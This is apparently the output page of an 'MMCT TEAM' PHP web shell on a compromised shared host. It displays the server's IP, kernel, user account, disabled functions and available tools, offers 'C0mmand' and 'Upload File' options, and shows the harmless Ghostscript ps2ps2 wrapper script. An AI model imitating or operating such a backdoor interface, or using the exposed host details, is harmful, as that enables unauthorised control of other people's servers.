MMCT TEAM
Server IP : 82.112.229.145  /  Your IP : 3.14.246.52
Web Server : LiteSpeed
System : Linux in-mum-web1672.main-hosting.eu 5.14.0-427.31.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 15 14:47:52 EDT 2024 x86_64
User : u848902883 ( 848902883)
PHP Version : 8.1.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /home/../bin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../bin/ps2ps2
#!/usr/bin/sh
# "Distill" PostScript with the Ghostscript 'ps2write' device
# this generates a PDF-style stream with an attached 
# PostScript program to interpret it.

# This definition is changed on install to match the
# executable name set in the makefile
GS_EXECUTABLE=gs

OPTIONS="-P- -dSAFER"
while true
do
	case "$1" in
	-?*) OPTIONS="$OPTIONS $1" ;;
	*)  break ;;
	esac
	shift
done

if [ $# -ne 2 ]; then
	echo "Usage: `basename \"$0\"` [options] input.ps output.ps" 1>&2
	echo "  e.g. `basename \"$0\"` -sPAPERSIZE=a4 input.ps output.ps" 1>&2
	exit 1
fi

exec $GS_EXECUTABLE -q -sDEVICE=ps2write -sstdout=%stderr "-sOutputFile=$2" -dNOPAUSE -dBATCH $OPTIONS "$1"

MMCT - 2023